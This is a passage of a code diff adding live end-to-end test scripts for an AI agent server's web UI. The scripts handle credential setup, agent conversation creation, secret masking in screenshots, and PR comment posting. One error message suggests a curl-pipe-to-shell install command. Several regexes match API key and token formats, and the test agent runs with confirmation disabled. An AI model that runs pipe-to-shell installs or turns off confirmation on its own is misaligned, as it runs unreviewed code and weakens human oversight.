+++ b/tests/e2e/live/scripts/run-live-e2e.mjs
@@ -0,0 +1,251 @@
+#!/usr/bin/env node
+
+import { spawn, spawnSync } from "node:child_process";
+import { randomBytes } from "node:crypto";
+import { existsSync } from "node:fs";
+import path from "node:path";
+import process from "node:process";
+
+const REQUIRED_LLM_API_KEY_ENV_VARS = [
+  "LIVE_E2E_LLM_API_KEY",
+  "OPENAI_API_KEY",
+  "ANTHROPIC_API_KEY",
+  "LLM_API_KEY",
+];
+const DEFAULT_PROXY_BASE_URL = "https://llm-proxy.app.all-hands.dev";
+const DEFAULT_PROXY_MODEL = "openhands/claude-haiku-4-5-20251001";
+const DEFAULT_OPENAI_MODEL = "openai/gpt-5.4-mini";
+const DEFAULT_ANTHROPIC_MODEL = "anthropic/claude-haiku-4-5-20251001";
+const DEFAULT_BACKEND_URL = "http://127.0.0.1:18100";
+const DEFAULT_FRONTEND_PORT = "3101";
+const PLAYWRIGHT_CONFIG = "playwright.live.config.ts";
+
+let generatedSessionApiKey = false;
+
+function hasValue(name) {
+  return Boolean(process.env[name]?.trim());
+}
+
+function firstConfiguredEnvVar(names) {
+  return names.find((name) => hasValue(name)) ?? "";
+}
+
+function commandExists(command) {
+  const result = spawnSync(platformCommand(command), ["--version"], {
+    stdio: "ignore",
+  });
+  return !result.error && result.status === 0;
+}
+
+function platformCommand(command) {
+  return process.platform === "win32" ? `${command}.cmd` : command;
+}
+
+function localPlaywrightExists() {
+  const executable =
+    process.platform === "win32" ? "playwright.cmd" : "playwright";
+  return existsSync(
+    path.join(process.cwd(), "node_modules", ".bin", executable),
+  );
+}
+
+function usesProxyDefaults(apiKeySource) {
+  return (
+    apiKeySource === "LIVE_E2E_LLM_API_KEY" ||
+    (!hasValue("OPENAI_API_KEY") &&
+      !hasValue("ANTHROPIC_API_KEY") &&
+      apiKeySource === "LLM_API_KEY")
+  );
+}
+
+function resolvedLLMBaseUrl(apiKeySource) {
+  if (hasValue("LIVE_E2E_LLM_BASE_URL")) {
+    return process.env.LIVE_E2E_LLM_BASE_URL.trim();
+  }
+  return usesProxyDefaults(apiKeySource) ? DEFAULT_PROXY_BASE_URL : "(unset)";
+}
+
+function resolvedLLMModel(apiKeySource) {
+  if (!apiKeySource) {
+    return "(depends on credential source)";
+  }
+  if (hasValue("LIVE_E2E_LLM_MODEL")) {
+    return process.env.LIVE_E2E_LLM_MODEL.trim();
+  }
+  if (resolvedLLMBaseUrl(apiKeySource) !== "(unset)") {
+    return DEFAULT_PROXY_MODEL;
+  }
+  if (apiKeySource === "OPENAI_API_KEY") {
+    return DEFAULT_OPENAI_MODEL;
+  }
+  return DEFAULT_ANTHROPIC_MODEL;
+}
+
+function redactUrlForLog(value) {
+  if (!value || value.startsWith("(")) {
+    return value;
+  }
+
+  try {
+    const url = new URL(value);
+    if (url.username || url.password) {
+      url.username = "redacted";
+      url.password = "redacted";
+    }
+    return url.toString();
+  } catch {
+    return value.replace(/\/\/[^/@\s]+@/g, "//redacted:redacted@");
+  }
+}
+
+function ensureSessionApiKey() {
+  if (hasValue("LIVE_E2E_SESSION_API_KEY")) {
+    return;
+  }
+  process.env.LIVE_E2E_SESSION_API_KEY = randomBytes(32).toString("hex");
+  generatedSessionApiKey = true;
+}
+
+function printUsage() {
+  console.log(`
+Run the live Agent Server end-to-end test locally.
+
+Usage:
+  npm run test:e2e:live
+  npm run test:e2e:live -- --headed
+  npm run test:e2e:live -- --debug
+  npm run test:e2e:live -- --check
+
+Required:
+  Set one LLM credential before running:
+  - LIVE_E2E_LLM_API_KEY
+  - OPENAI_API_KEY
+  - ANTHROPIC_API_KEY
+  - LLM_API_KEY
+
+Optional:
+  - LIVE_E2E_LLM_BASE_URL
+  - LIVE_E2E_LLM_MODEL
+  - LIVE_E2E_SESSION_API_KEY (generated per run when unset)
+  - LIVE_E2E_BACKEND_URL
+  - LIVE_E2E_FRONTEND_PORT
+
+The npm script loads .env automatically through Node's --env-file-if-exists flag.
+`);
+}
+
+function printConfiguration(apiKeySource) {
+  const llmBaseUrl = resolvedLLMBaseUrl(apiKeySource);
+  console.log("Live Agent Server E2E configuration:");
+  console.log(`- LLM API key source: ${apiKeySource || "(missing)"}`);
+  console.log(`- LIVE_E2E_LLM_BASE_URL: ${redactUrlForLog(llmBaseUrl)}`);
+  console.log(`- LIVE_E2E_LLM_MODEL: ${resolvedLLMModel(apiKeySource)}`);
+  console.log(
+    `- LIVE_E2E_SESSION_API_KEY: ${
+      hasValue("LIVE_E2E_SESSION_API_KEY")
+        ? generatedSessionApiKey
+          ? "(generated for this run)"
+          : "(configured)"
+        : "(missing)"
+    }`,
+  );
+  console.log(
+    `- LIVE_E2E_BACKEND_URL: ${
+      hasValue("LIVE_E2E_BACKEND_URL")
+        ? redactUrlForLog(process.env.LIVE_E2E_BACKEND_URL.trim())
+        : `(default: ${DEFAULT_BACKEND_URL})`
+    }`,
+  );
+  console.log(
+    `- LIVE_E2E_FRONTEND_PORT: ${
+      hasValue("LIVE_E2E_FRONTEND_PORT")
+        ? redactUrlForLog(process.env.LIVE_E2E_FRONTEND_PORT.trim())
+        : `(default: ${DEFAULT_FRONTEND_PORT})`
+    }`,
+  );
+}
+
+function validateEnvironment() {
+  ensureSessionApiKey();
+  const apiKeySource = firstConfiguredEnvVar(REQUIRED_LLM_API_KEY_ENV_VARS);
+  const errors = [];
+
+  if (!apiKeySource) {
+    errors.push(
+      [
+        "Missing LLM credential.",
+        `Set one of: ${REQUIRED_LLM_API_KEY_ENV_VARS.join(", ")}.`,
+        "For the hosted LLM proxy, use LIVE_E2E_LLM_API_KEY or LLM_API_KEY.",
+      ].join(" "),
+    );
+  }
+
+  if (!localPlaywrightExists()) {
+    errors.push(
+      "Missing local Playwright install. Run `npm ci` before running live E2E.",
+    );
+  }
+
+  if (!commandExists("uvx")) {
+    errors.push(
+      [
+        "Missing `uvx`, which `npm run dev:minimal` uses to start the real Agent Server.",
+        "Install uv with: `curl -LsSf https://astral.sh/uv/install.sh | sh`.",
+      ].join(" "),
+    );
+  }
+
+  printConfiguration(apiKeySource);
+
+  if (errors.length === 0) {
+    console.log("Environment check passed.");
+    return true;
+  }
+
+  console.error("");
+  console.error("Live Agent Server E2E is not ready to run:");
+  for (const error of errors) {
+    console.error(`- ${error}`);
+  }
+  console.error("");
+  console.error("After fixing the above, run `npm run test:e2e:live` again.");
+  return false;
+}
+
+async function runPlaywright(args) {
+  const child = spawn(
+    platformCommand("npx"),
+    ["playwright", "test", ...args, `--config=${PLAYWRIGHT_CONFIG}`],
+    {
+      stdio: "inherit",
+    },
+  );
+
+  const exitCode = await new Promise((resolve) => {
+    child.on("exit", (code) => resolve(code ?? 1));
+    child.on("error", () => resolve(1));
+  });
+
+  process.exit(exitCode);
+}
+
+const args = process.argv.slice(2);
+
+if (args.includes("--help") || args.includes("-h")) {
+  printUsage();
+  process.exit(0);
+}
+
+const checkOnly = args.includes("--check");
+const playwrightArgs = args.filter((arg) => arg !== "--check");
+const isValid = validateEnvironment();
+
+if (!isValid) {
+  process.exit(1);
+}
+
+if (checkOnly) {
+  process.exit(0);
+}
+
+await runPlaywright(playwrightArgs);
diff --git a/tests/e2e/live/scripts/upsert-pr-comment.mjs b/tests/e2e/live/scripts/upsert-pr-comment.mjs
new file mode 100644
index 0000000000000000000000000000000000000000..a909758b894051c1f3005ddec36e68dbf421160b
--- /dev/null
+++ b/tests/e2e/live/scripts/upsert-pr-comment.mjs
@@ -0,0 +1,237 @@
+#!/usr/bin/env node
+
+import { existsSync, readFileSync, realpathSync } from "node:fs";
+import { dirname, isAbsolute, relative, resolve } from "node:path";
+
+const DEFAULT_MARKER = "<!-- agent-canvas-live-e2e-report -->";
+const API_ROOT = process.env.GITHUB_API_URL ?? "https://api.github.com";
+
+function parseArgs(argv) {
+  const args = {};
+  for (let index = 0; index < argv.length; index += 1) {
+    const arg = argv[index];
+    if (!arg.startsWith("--")) {
+      continue;
+    }
+
+    const [rawKey, inlineValue] = arg.slice(2).split("=", 2);
+    const key = rawKey.replaceAll("-", "_");
+    if (inlineValue !== undefined) {
+      args[key] = inlineValue;
+      continue;
+    }
+
+    const next = argv[index + 1];
+    if (next && !next.startsWith("--")) {
+      args[key] = next;
+      index += 1;
+    } else {
+      args[key] = "";
+    }
+  }
+  return args;
+}
+
+function requireValue(name, value) {
+  if (!value) {
+    throw new Error(`Missing required value: ${name}`);
+  }
+  return value;
+}
+
+function assertWithinCwd(label, path) {
+  const relativePath = relative(realpathSync(resolve(".")), path);
+  if (relativePath.startsWith("..") || isAbsolute(relativePath)) {
+    throw new Error(`${label} must be within the current working directory.`);
+  }
+}
+
+function nearestExistingPath(path) {
+  let currentPath = path;
+  while (!existsSync(currentPath)) {
+    const parentPath = dirname(currentPath);
+    if (parentPath === currentPath) {
+      throw new Error(`No existing parent found for ${path}`);
+    }
+    currentPath = parentPath;
+  }
+  return currentPath;
+}
+
+function resolveWithinCwd(label, filePath, options = {}) {
+  const resolvedPath = resolve(filePath);
+  if (existsSync(resolvedPath)) {
+    assertWithinCwd(label, realpathSync(resolvedPath));
+    return resolvedPath;
+  }
+
+  if (options.mustExist) {
+    throw new Error(`${label} does not exist: ${resolvedPath}`);
+  }
+
+  const existingParent = nearestExistingPath(dirname(resolvedPath));
+  const checkedPath = resolve(
+    realpathSync(existingParent),
+    relative(existingParent, resolvedPath),
+  );
+  assertWithinCwd(label, checkedPath);
+  return resolvedPath;
+}
+
+function validateRepo(repo) {
+  if (
+    !/^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?\/[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?$/.test(
+      repo,
+    )
+  ) {
+    throw new Error(`Invalid repo format: ${repo}`);
+  }
+  return repo;
+}
+
+function validateIssueNumber(issueNumber) {
+  if (!/^\d+$/.test(String(issueNumber))) {
+    throw new Error(`Invalid issue number: ${issueNumber}`);
+  }
+  return String(issueNumber);
+}
+
+function sleep(ms) {
+  return new Promise((resolve) => {
+    setTimeout(resolve, ms);
+  });
+}
+
+function retryDelayMs(attempt, response) {
+  const retryAfter = response.headers.get("retry-after");
+  if (retryAfter && /^\d+$/.test(retryAfter)) {
+    return Number(retryAfter) * 1000;
+  }
+  return 1000 * 2 ** attempt;
+}
+
+function parseGitHubPayload(method, path, status, text) {
+  if (!text) {
+    return null;
+  }
+  try {
+    return JSON.parse(text);
+  } catch (error) {
+    throw new Error(
+      `GitHub API ${method} ${path} returned invalid JSON with status ${status}: ${text.slice(
+        0,
+        500,
+      )}`,
+    );
+  }
+}
+
+async function githubRequest(method, path, token, body) {
+  const retryableStatuses = new Set([429, 502, 503, 504]);
+
+  for (let attempt = 0; attempt < 5; attempt += 1) {
+    const response = await fetch(`${API_ROOT}${path}`, {
+      method,
+      headers: {
+        Authorization: `Bearer ${token}`,
+        Accept: "application/vnd.github+json",
+        "X-GitHub-Api-Version": "2022-11-28",
+        ...(body === undefined ? {} : { "Content-Type": "application/json" }),
+      },
+      body: body === undefined ? undefined : JSON.stringify(body),
+    });
+
+    const text = await response.text();
+    if (!response.ok && retryableStatuses.has(response.status) && attempt < 4) {
+      await sleep(retryDelayMs(attempt, response));
+      continue;
+    }
+
+    const payload = parseGitHubPayload(method, path, response.status, text);
+    if (!response.ok) {
+      throw new Error(
+        `GitHub API ${method} ${path} failed with ${response.status}: ${text}`,
+      );
+    }
+    return payload;
+  }
+
+  throw new Error(`GitHub API ${method} ${path} failed after retries.`);
+}
+
+async function listIssueComments(repo, issueNumber, token) {
+  const comments = [];
+  for (let page = 1; page <= 10; page += 1) {
+    const batch = await githubRequest(
+      "GET",
+      `/repos/${repo}/issues/${issueNumber}/comments?per_page=100&page=${page}`,
+      token,
+    );
+    comments.push(...batch);
+    if (batch.length < 100) {
+      break;
+    }
+  }
+  return comments;
+}
+
+async function main() {
+  const args = parseArgs(process.argv.slice(2));
+  const issueNumber =
+    args.issue_number ??
+    process.env.PR_NUMBER ??
+    process.env.ISSUE_NUMBER ??
+    "";
+
+  if (!issueNumber) {
+    console.log("Skipping PR comment because no PR number was provided.");
+    return;
+  }
+
+  const repo = validateRepo(
+    requireValue("repo", args.repo ?? process.env.GITHUB_REPOSITORY),
+  );
+  const validatedIssueNumber = validateIssueNumber(issueNumber);
+  const token = requireValue(
+    "token",
+    args.token ?? process.env.GITHUB_TOKEN ?? process.env.GH_TOKEN,
+  );
+  const marker = args.marker ?? DEFAULT_MARKER;
+  const bodyFile = resolveWithinCwd(
+    "body-file",
+    requireValue("body-file", args.body_file),
+    { mustExist: true },
+  );
+  let body = readFileSync(bodyFile, "utf8");
+
+  if (!body.includes(marker)) {
+    body = `${marker}\n${body}`;
+  }
+
+  const comments = await listIssueComments(repo, validatedIssueNumber, token);
+  const existing = comments.find((comment) => comment.body?.includes(marker));
+
+  if (existing) {
+    await githubRequest(
+      "PATCH",
+      `/repos/${repo}/issues/comments/${existing.id}`,
+      token,
+      { body },
+    );
+    console.log(`Updated PR comment ${existing.id}.`);
+    return;
+  }
+
+  const created = await githubRequest(
+    "POST",
+    `/repos/${repo}/issues/${validatedIssueNumber}/comments`,
+    token,
+    { body },
+  );
+  console.log(`Created PR comment ${created.id}.`);
+}
+
+main().catch((error) => {
+  console.error(error instanceof Error ? error.message : String(error));
+  process.exit(1);
+});
diff --git a/tests/e2e/live/utils/agent-server-conversation.ts b/tests/e2e/live/utils/agent-server-conversation.ts
new file mode 100644
index 0000000000000000000000000000000000000000..fce332ab3118007493441a10b5c13d2237e5c6c7
--- /dev/null
+++ b/tests/e2e/live/utils/agent-server-conversation.ts
@@ -0,0 +1,694 @@
+import { randomUUID } from "node:crypto";
+import {
+  expect,
+  type APIRequestContext,
+  type Locator,
+  type Page,
+} from "@playwright/test";
+import { CANVAS_UI_CLIENT_TOOL } from "../../../../src/api/canvas-ui-client-tool";
+
+export const BACKEND_URL =
+  process.env.LIVE_E2E_BACKEND_URL ?? "http://127.0.0.1:18100";
+export const EXPECTED_BASH_OUTPUT_TOKEN = "LIVE_AGENT_CANVAS_E2E_BASH_OK";
+export const EXPECTED_BASH_COMMAND = `printf '${EXPECTED_BASH_OUTPUT_TOKEN}\\n'`;
+export const EXPECTED_REPLY_TOKEN = "LIVE_AGENT_CANVAS_E2E_OK";
+const POSTHOG_URL_PATTERN =
+  /^https?:\/\/(?:(?:[^/]+\.)*posthog\.com|z\.openhands\.dev)(?:\/|$)/;
+
+function firstNonEmpty(...values: Array<string | undefined>) {
+  return values.find((value) => value?.trim()) ?? "";
+}
+
+const liveLLMApiKey = process.env.LIVE_E2E_LLM_API_KEY;
+const openAIKey = process.env.OPENAI_API_KEY;
+const anthropicKey = process.env.ANTHROPIC_API_KEY;
+const proxyLLMKey = process.env.LLM_API_KEY;
+const llmApiKey = firstNonEmpty(
+  liveLLMApiKey,
+  openAIKey,
+  anthropicKey,
+  proxyLLMKey,
+);
+const usesProxyKey = Boolean(
+  liveLLMApiKey?.trim() ||
+  (!openAIKey?.trim() && !anthropicKey?.trim() && proxyLLMKey?.trim()),
+);
+const llmBaseUrl =
+  process.env.LIVE_E2E_LLM_BASE_URL ??
+  (usesProxyKey ? "https://llm-proxy.app.all-hands.dev" : "");
+const llmModel =
+  process.env.LIVE_E2E_LLM_MODEL ??
+  (llmBaseUrl
+    ? "openhands/claude-haiku-4-5-20251001"
+    : openAIKey?.trim()
+      ? "openai/gpt-5.4-mini"
+      : "anthropic/claude-haiku-4-5-20251001");
+const DEFAULT_AGENT_TOOLS = [
+  { name: "terminal", params: {} },
+  { name: "file_editor", params: {} },
+  { name: "task_tracker", params: {} },
+];
+export const sessionApiKey = firstNonEmpty(
+  process.env.LIVE_E2E_SESSION_API_KEY,
+  process.env.LOCAL_BACKEND_API_KEY,
+);
+
+if (!sessionApiKey) {
+  throw new Error("LIVE_E2E_SESSION_API_KEY must be set for live E2E.");
+}
+
+const LIVE_LLM_PROFILE_NAME = `live-e2e-${sessionApiKey.slice(0, 8)}`;
+export const hasLiveLLMConfig = Boolean(llmApiKey);
+export const missingLiveLLMConfigMessage =
+  "Set LIVE_E2E_LLM_API_KEY, OPENAI_API_KEY, ANTHROPIC_API_KEY, or LLM_API_KEY to run live E2E.";
+
+interface ConfigureLiveAgentServerOptions {
+  enableCritic?: boolean;
+}
+
+function escapeRegExp(value: string) {
+  return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+
+export async function routeBackendSessionApiKey(page: Page) {
+  const backendOrigin = new URL(BACKEND_URL).origin;
+  await page.route(
+    new RegExp(`^${escapeRegExp(backendOrigin)}(?:/|$)`),
+    async (route) => {
+      await route.continue({
+        headers: {
+          ...route.request().headers(),
+          "X-Session-API-Key": sessionApiKey,
+        },
+      });
+    },
+  );
+}
+
+export function getLiveArtifactMask(page: Page): Locator[] {
+  return [
+    page.locator('input[type="password"]'),
+    page.locator('[data-sensitive="true"]'),
+    page.locator('[data-testid*="secret" i]'),
+    page.locator('[data-testid*="token" i]'),
+    page.locator('[data-testid*="api-key" i]'),
+    page.getByText(
+      /(?:OPENAI_API_KEY|ANTHROPIC_API_KEY|LIVE_E2E_LLM_API_KEY|LLM_API_KEY|LOCAL_BACKEND_API_KEY|SESSION_API_KEY|X-Session-API-Key)\s*[:=]\s*\S+/i,
+    ),
+    page.getByText(
+      /(?:sk-[A-Za-z0-9_-]{8,}|gh[pousr]_[A-Za-z0-9_]{8,}|xox[baprs]-[A-Za-z0-9-]{8,}|(?:api[_ -]?key|secret|password|token)\s*[:=]\s*\S+)/i,
+    ),
+  ];
+}
+
+export async function configureLiveAgentServer(
+  request: APIRequestContext,
+  options: ConfigureLiveAgentServerOptions = {},
+) {
+  if (!llmApiKey.trim()) {
+    throw new Error(missingLiveLLMConfigMessage);
+  }
+
+  await ensureLiveLlmProfile(request);
+
+  const settingsResponse = await request.patch(`${BACKEND_URL}/api/settings`, {
+    headers: {
+      "X-Session-API-Key": sessionApiKey,
+    },
+    data: {
+      agent_settings_diff: {
+        llm: buildLiveLlmSettings(),
+        condenser: {
+          enabled: false,
+        },
+        verification: buildLiveVerificationSettings(options),
+      },
+      conversation_settings_diff: {
+        confirmation_mode: false,
+        max_iterations: 6,
+      },
+      misc_settings_diff: {
+        app_preferences: { user_consents_to_analytics: false },
+      },
+    },
+  });
+  expect(
+    settingsResponse.ok(),
+    `PATCH /api/settings failed with ${settingsResponse.status()}; response body omitted because live LLM credentials are configured in this request.`,
+  ).toBeTruthy();
+}
+
+async function ensureLiveLlmProfile(request: APIRequestContext) {
+  const profileUrl = `${BACKEND_URL}/api/profiles/${encodeURIComponent(LIVE_LLM_PROFILE_NAME)}`;
+  const headers = {
+    "X-Session-API-Key": sessionApiKey,
+  };
+
+  await deleteLiveLlmProfile(request);
+
+  const saveResponse = await request.post(profileUrl, {
+    headers: {
+      ...headers,
+      "Content-Type": "application/json",
+    },
+    data: {
+      llm: buildLiveLlmSettings(),
+      include_secrets: true,
+    },
+  });
+  expect(
+    saveResponse.ok(),
+    `POST /api/profiles/${LIVE_LLM_PROFILE_NAME} failed with ${saveResponse.status()}; response body omitted because live LLM credentials are configured in this request.`,
+  ).toBeTruthy();
+
+  const activateResponse = await request.post(`${profileUrl}/activate`, {
+    headers,
+  });
+  expect(
+    activateResponse.ok(),
+    `POST /api/profiles/${LIVE_LLM_PROFILE_NAME}/activate failed with ${activateResponse.status()}; response body omitted because live LLM credentials are configured in this request.`,
+  ).toBeTruthy();
+}
+
+export async function deleteLiveLlmProfile(request: APIRequestContext) {
+  await request.delete(
+    `${BACKEND_URL}/api/profiles/${encodeURIComponent(LIVE_LLM_PROFILE_NAME)}`,
+    {
+      headers: {
+        "X-Session-API-Key": sessionApiKey,
+      },
+    },
+  );
+}
+
+function buildLiveLlmSettings(): Record<string, string | number> {
+  const llmSettings: Record<string, string | number> = {
+    model: llmModel,
+    api_key: llmApiKey,
+    extended_thinking_budget: 1024,
+    max_output_tokens: 2048,
+    temperature: 0,
+  };
+  if (llmBaseUrl) {
+    llmSettings.base_url = llmBaseUrl;
+  }
+  return llmSettings;
+}
+
+function buildLiveVerificationSettings(
+  options: ConfigureLiveAgentServerOptions = {},
+): Record<string, string | number | boolean> {
+  const verificationSettings: Record<string, string | number | boolean> =
+    options.enableCritic
+      ? {
+          critic_enabled: true,
+          critic_mode: "finish_and_message",
+          enable_iterative_refinement: false,
+          critic_api_key: llmApiKey,
+          critic_model_name: llmModel,
+        }
+      : {
+          critic_enabled: false,
+          enable_iterative_refinement: false,
+        };
+  if (options.enableCritic && llmBaseUrl) {
+    verificationSettings.critic_server_url = llmBaseUrl;
+  }
+  return verificationSettings;
+}
+
+export async function createLiveConversation(
+  request: APIRequestContext,
+  options: ConfigureLiveAgentServerOptions = {},
+) {
+  if (!llmApiKey.trim()) {
+    throw new Error(missingLiveLLMConfigMessage);
+  }
+
+  const conversationId = randomUUID();
+  const response = await request.post(`${BACKEND_URL}/api/conversations`, {
+    headers: {
+      "X-Session-API-Key": sessionApiKey,
+    },
+    data: {
+      conversation_id: conversationId,
+      workspace: {
+        kind: "LocalWorkspace",
+        working_dir: `workspace/project/${conversationId}`,
+      },
+      worktree: true,
+      max_iterations: 6,
+      stuck_detection: true,
+      autotitle: true,
+      confirmation_policy: {
+        kind: "NeverConfirm",
+      },
+      agent_settings: {
+        agent_kind: "openhands",
+        llm: buildLiveLlmSettings(),
+        condenser: {
+          enabled: false,
+        },
+        verification: buildLiveVerificationSettings(options),
+        tools: DEFAULT_AGENT_TOOLS,
+      },
+      client_tools: [CANVAS_UI_CLIENT_TOOL],
+    },
+  });
+
+  expect(
+    response.ok(),
+    `POST /api/conversations failed with ${response.status()}; response body omitted because live LLM credentials are configured in this request.`,
+  ).toBeTruthy();
+
+  const body = (await response.json()) as { id?: unknown };
+  expect(
+    typeof body.id === "string" && body.id.length > 0,
+    "POST /api/conversations did not return a conversation id.",
+  ).toBe(true);
+  return body.id as string;
+}
+
+export async function enableLiveE2EFlags(page: Page) {
+  await page.addInitScript(() => {
+    window.localStorage.setItem("analytics-consent", "false");
+    window.localStorage.setItem("openhands-telemetry-consent", "denied");
+    window.localStorage.setItem("openhands-telemetry-first-use", "true");
+    window.localStorage.setItem("openhands-onboarded", "1");
+    window.localStorage.setItem("FEATURE_AUTOMATIONS", "true");
+  });
+}
+
+export async function guardAgainstPostHogRequests(page: Page) {
+  const postHogRequests: string[] = [];
+
+  await page.route(POSTHOG_URL_PATTERN, async (route) => {
+    postHogRequests.push(route.request().url());
+    await route.fulfill({ status: 204, body: "" });
+  });
+
+  return {
+    expectNoRequests() {
+      expect(
+        postHogRequests,
+        [
+          "Live E2E must not send analytics to PostHog.",
+          "Keep VITE_DO_NOT_TRACK=1 and the live-test storage opt-out in place.",
+        ].join(" "),
+      ).toEqual([]);
+    },
+  };
+}
+
+export async function waitForPath(
+  page: Page,
+  pattern: RegExp,
+  timeout = 60_000,
+) {
+  await expect
+    .poll(
+      async () => page.evaluate(() => window.location.pathname).catch(() => ""),
+      { timeout },
+    )
+    .toMatch(pattern);
+}
+
+export async function openCreatedConversation(page: Page) {
+  const conversationPathPattern = /\/conversations\/.+/;
+
+  try {
+    await waitForPath(page, conversationPathPattern, 10_000);
+    return;
+  } catch {
+    await page.locator('a[href^="/conversations/"]').first().click();
+    await waitForPath(page, conversationPathPattern);
+  }
+}
+
+export async function waitForTestId(
+  page: Page,
+  testId: string,
+  timeout = 60_000,
+) {
+  await expect
+    .poll(
+      async () =>
+        page
+          .evaluate(
+            (testId) =>
+              document.querySelector(`[data-testid="${testId}"]`) != null,
+            testId,
+          )
+          .catch(() => false),
+      { timeout },
+    )
+    .toBe(true);
+}
+
+export async function dismissAnalyticsModal(page: Page) {
+  await page.waitForLoadState("domcontentloaded");
+
+  await expect
+    .poll(
+      async () =>
+        page
+          .evaluate(() => {
+            const hasAnalyticsDialog = Array.from(
+              document.querySelectorAll('[role="dialog"]'),
+            ).some((dialog) =>
+              dialog.textContent?.includes("Help improve OpenHands"),
+            );
+            if (!hasAnalyticsDialog) {
+              return true;
+            }
+
+            const confirmButton = Array.from(
+              document.querySelectorAll("button"),
+            ).find(
+              (button) => button.textContent?.trim() === "Confirm preferences",
+            );
+            if (confirmButton instanceof HTMLButtonElement) {
+              confirmButton.click();
+            }
+            return false;
+          })
+          .catch(() => false),
+      { timeout: 5_000 },
+    )
+    .toBe(true);
+}
+
+export async function clickButtonByTestId(page: Page, testId: string) {
+  await waitForTestId(page, testId);
+
+  await page.evaluate((testId) => {
+    const button = document.querySelector(`[data-testid="${testId}"]`);
+    if (!(button instanceof HTMLButtonElement)) {
+      throw new Error(`Button not found: ${testId}`);
+    }
+    button.click();
+  }, testId);
+}
+
+export async function clickButtonByTestIdOrText(
+  page: Page,
+  testId: string,
+  text: string,
+) {
+  await expect
+    .poll(
+      async () =>
+        page.evaluate(
+          ({ testId, text }) => {
+            const byTestId = document.querySelector(
+              `[data-testid="${testId}"]`,
+            );
+            if (byTestId instanceof HTMLButtonElement) {
+              return true;
+            }
+
+            return Array.from(document.querySelectorAll("button")).some(
+              (button) => button.textContent?.trim() === text,
+            );
+          },
+          { testId, text },
+        ),
+      { timeout: 60_000 },
+    )
+    .toBe(true);
+
+  await page.evaluate(
+    ({ testId, text }) => {
+      const byTestId = document.querySelector(`[data-testid="${testId}"]`);
+      const button =
+        byTestId instanceof HTMLButtonElement
+          ? byTestId
+          : Array.from(document.querySelectorAll("button")).find(
+              (button) => button.textContent?.trim() === text,
+            );
+      if (!(button instanceof HTMLButtonElement)) {
+        throw new Error(`Button not found: ${text}`);
+      }
+      button.click();
+    },
+    { testId, text },
+  );
+}
+
+export async function fillChatInput(page: Page, text: string) {
+  await waitForTestId(page, "chat-input");
+
+  await page.evaluate((text) => {
+    const input = document.querySelector('[data-testid="chat-input"]');
+    if (!(input instanceof HTMLElement)) {
+      throw new Error("Chat input not found");
+    }
+    input.focus();
+    input.textContent = text;
+    input.dispatchEvent(
+      new InputEvent("input", {
+        bubbles: true,
+        data: text,
+        inputType: "insertText",
+      }),
+    );
+  }, text);
+}
+
+export async function waitForNonUserMessageText(page: Page, text: string) {
+  await expect
+    .poll(
+      async () =>
+        page
+          .evaluate((text) => {
+            const body = document.body.cloneNode(true);
+            if (!(body instanceof HTMLElement)) {
+              return false;
+            }
+            body
+              .querySelectorAll('[data-testid="user-message"]')
+              .forEach((node) => node.remove());
+            return body.textContent?.includes(text) ?? false;
+          }, text)
+          .catch(() => false),
+      { timeout: 120_000 },
+    )
+    .toBe(true);
+}
+
+export async function expandVisibleEventDetails(page: Page) {
+  await expect
+    .poll(
+      async () =>
+        page
+          .evaluate(() => {
+            const isVisible = (element: Element) => {
+              const rect = element.getBoundingClientRect();
+              return rect.width > 0 && rect.height > 0;
+            };
+
+            const buttons = Array.from(
+              document.querySelectorAll('button[aria-label="Expand"]'),
+            ).filter(isVisible);
+            buttons.forEach((button) => {
+              if (button instanceof HTMLButtonElement) {
+                button.click();
+              }
+            });
+            return buttons.length;
+          })
+          .catch(() => 0),
+      { timeout: 5_000 },
+    )
+    .toBe(0);
+}
+
+export async function waitForAgentReply(page: Page) {
+  await expect
+    .poll(
+      async () =>
+        page
+          .evaluate((expectedReplyToken) => {
+            const hasReply = Array.from(
+              document.querySelectorAll('[data-testid="agent-message"]'),
+            ).some((element) =>
+              element.textContent?.includes(expectedReplyToken),
+            );
+            if (hasReply) {
+              return "reply";
+            }
+            if (document.body.textContent?.includes("Error occurred")) {
+              return "error";
+            }
+            return "pending";
+          }, EXPECTED_REPLY_TOKEN)
+          .catch(() => "pending"),
+      { timeout: 120_000 },
+    )
+    .toBe("reply");
+}
+
+export function getConversationIdFromURL(page: Page) {
+  const match = page.url().match(/\/conversations\/([^/?#]+)/);
+  expect(
+    match?.[1],
+    `Could not read conversation id from ${page.url()}`,
+  ).toBeTruthy();
+  return decodeURIComponent(match![1]);
+}
+
+export function getOptionalConversationIdFromURL(page: Page) {
+  const match = page.url().match(/\/conversations\/([^/?#]+)/);
+  return match?.[1] ? decodeURIComponent(match[1]) : "";
+}
+
+function eventTextContent(event: unknown) {
+  if (!event || typeof event !== "object") {
+    return "";
+  }
+
+  const content = (event as { observation?: { content?: unknown } }).observation
+    ?.content;
+  if (!Array.isArray(content)) {
+    return "";
+  }
+
+  return content
+    .map((item) => {
+      if (!item || typeof item !== "object") {
+        return "";
+      }
+      const text = (item as { text?: unknown }).text;
+      return typeof text === "string" ? text : "";
+    })
+    .join("\n");
+}
+
+function isSuccessfulBashObservation(event: unknown) {
+  if (!event || typeof event !== "object") {
+    return false;
+  }
+
+  const observation = (event as { observation?: Record<string, unknown> })
+    .observation;
+  if (!observation) {
+    return false;
+  }
+
+  const kind = observation.kind;
+  const isTerminalObservation =
+    kind === "ExecuteBashObservation" || kind === "TerminalObservation";
+  if (!isTerminalObservation) {
+    return false;
+  }
+
+  const command =
+    typeof observation.command === "string" ? observation.command : "";
+  const output = eventTextContent(event);
+  const exitCode = observation.exit_code;
+  const failed =
+    observation.error === true ||
+    observation.is_error === true ||
+    observation.timeout === true;
+
+  return (
+    command.includes(EXPECTED_BASH_OUTPUT_TOKEN) &&
+    output.includes(EXPECTED_BASH_OUTPUT_TOKEN) &&
+    exitCode === 0 &&
+    !failed
+  );
+}
+
+function hasCriticResult(event: unknown) {
+  if (!event || typeof event !== "object") {
+    return false;
+  }
+
+  const criticResult = (event as { critic_result?: unknown }).critic_result;
+  if (!criticResult || typeof criticResult !== "object") {
+    return false;
+  }
+
+  const score = (criticResult as { score?: unknown }).score;
+  return typeof score === "number" && Number.isFinite(score);
+}
+
+export async function waitForSuccessfulBashObservation(
+  request: APIRequestContext,
+  conversationId: string,
+) {
+  await expect
